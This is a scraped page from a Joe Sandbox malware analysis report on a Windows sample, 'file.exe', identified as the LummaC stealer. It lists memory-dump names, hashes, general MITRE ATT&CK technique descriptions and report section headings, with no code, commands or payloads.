Associated: 00000000.00000002.1741523989.0000000005E52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1741565013.0000000005E56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1741620894.0000000005FEB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1741620894.00000000060F7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1741620894.0000000006106000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1741620894.0000000006108000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea9b05f4ff8fcccaef7cb4adbc1225333d94e9fc1762834bdcb044e8a2c4cf0
Instruction ID: 23bce5bfa7c6090a4b426e4b36d6b9a441dae1c62bca9a1f5253cb4b275bcc58
Opcode Fuzzy Hash: 8ea9b05f4ff8fcccaef7cb4adbc1225333d94e9fc1762834bdcb044e8a2c4cf0
Instruction Fuzzy Hash: CB2149B3F501304BF3588869DD693A2664397D1324F1F82798E4C6B7C6D8BE5C0A9680

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 73

Windows Analysis Report
file.exe